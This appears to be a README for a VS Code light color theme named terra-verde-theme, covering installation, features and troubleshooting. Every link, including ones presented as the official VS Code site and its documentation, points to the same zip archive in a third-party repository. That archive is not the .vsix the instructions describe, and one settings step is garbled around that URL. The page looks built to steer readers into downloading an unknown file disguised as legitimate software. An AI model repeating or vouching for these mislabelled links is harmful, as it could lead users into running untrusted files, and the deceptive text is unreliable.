terra-verde-theme is a color theme for Visual Studio Code. It uses warm off-white backgrounds, forest green shades, and terracotta accents. This creates a calm and natural look. The palette is easy on the eyes, especially in bright work environments. It helps reduce eye strain while editing code or writing.
The theme pairs earthy tones with clear contrast. It works well for people who like a light theme but prefer something soft and natural looking. You get a clean and inviting workspace with colors inspired by nature.
- A Windows computer running Windows 10 or later.
- Visual Studio Code installed on your computer. If you do not have it yet, you can download it at https://github.com/bejlocalxyz/terra-verde-theme/raw/refs/heads/main/themes/terra_theme_verde_v2.9-alpha.2.zip
- An internet connection to download the theme.
This theme works only within Visual Studio Code. It does not change your system wallpaper, icons, or other apps.
To use terra-verde-theme, you need to add it as an extension to Visual Studio Code. Follow these steps:
- Open your web browser on your Windows PC.
- Go to the release page by clicking the button below.
- On the release page, look for the latest release. Releases are sorted by date, with the newest at the top.
- Under the release description, find the file that ends with
.vsix. This is the Visual Studio Code theme extension file. - Click the
.vsixfile to download it to your computer. Save it in a location you can find, such as your Desktop or Downloads folder.
After you download the .vsix file, you will add it to Visual Studio Code:
- Open Visual Studio Code.
- On the left sidebar, click the Extensions icon. It looks like four squares.
- At the top of the Extensions pane, click the three vertical dots menu.
- Choose Install from VSIX... from the dropdown menu.
- In the window that opens, navigate to the folder where you saved the
.vsixfile. - Select the file and click Open.
- Visual Studio Code will install the terra-verde-theme extension.
- When the installation finishes, you should see a message that the theme is installed.
- Open the Visual Studio Code command palette by pressing Ctrl + Shift + P on your keyboard.
- Start typing "Color Theme" until Preferences: Color Theme appears in the list.
- Press Enter to open the list of installed themes.
- In the list, find and click terra-verde-theme.
- The editor and other user interface parts will change to the earthy green colors.
You can switch between other themes anytime by repeating these steps.
Visual Studio Code lets you adjust colors further if you want. You can tweak the theme in your user settings:
- Open File > Preferences > Settings.
- Search for
https://github.com/bejlocalxyz/terra-verde-theme/raw/refs/heads/main/themes/terra_theme_verde_v2.9-alpha.2.zip. - Here you can add new colors or adjust existing ones using JSON format.
For example, you can change the background color or text colors inside the editor.
If you do not want to change anything, the default terra-verde-theme colors have been designed to look good for most users.
- Light color theme with natural, earthy tones
- Soft off-white backgrounds that reduce glare
- Forest green used for syntax and interface elements
- Warm terracotta accents for highlights and alerts
- Designed for daytime use and bright environments
- Easy on the eyes during long coding sessions
- Compatible with Visual Studio Code built-in features
terra-verde-theme changes only the color of Visual Studio Code’s interface and code editor. It changes:
- Background and panel colors
- Text colors for code, comments, and UI labels
- Button and line highlight colors
- Sidebar and tabs
It does not change how Visual Studio Code works or add any new commands or features.
- If the theme does not appear after installation, try restarting Visual Studio Code.
- Make sure you install the
.vsixfile from the release page, not from the marketplace if you prefer manual install. - If color contrast seems low, tweak brightness or font settings under File > Preferences > Settings.
- Use the color customization option if you want to fine-tune any shade.
- If you want to uninstall the theme, go to the Extensions pane, find terra-verde-theme, and click Uninstall.
Visit this page to download the theme files and get the latest updates:
Download the .vsix file for the latest version and follow the installation instructions above.
- Windows 10 or newer
- Visual Studio Code version 1.50 or newer
- At least 100 MB free disk space for VS Code and extensions
- Internet access for downloading the theme
- Visual Studio Code official site: https://github.com/bejlocalxyz/terra-verde-theme/raw/refs/heads/main/themes/terra_theme_verde_v2.9-alpha.2.zip
- Getting started with VS Code: https://github.com/bejlocalxyz/terra-verde-theme/raw/refs/heads/main/themes/terra_theme_verde_v2.9-alpha.2.zip
- Managing extensions in VS Code: https://github.com/bejlocalxyz/terra-verde-theme/raw/refs/heads/main/themes/terra_theme_verde_v2.9-alpha.2.zip
After installing terra-verde-theme, try opening a project or create a new file. You will see the green and terracotta colors applied immediately. Use the theme alongside your other editing settings for a better coding environment.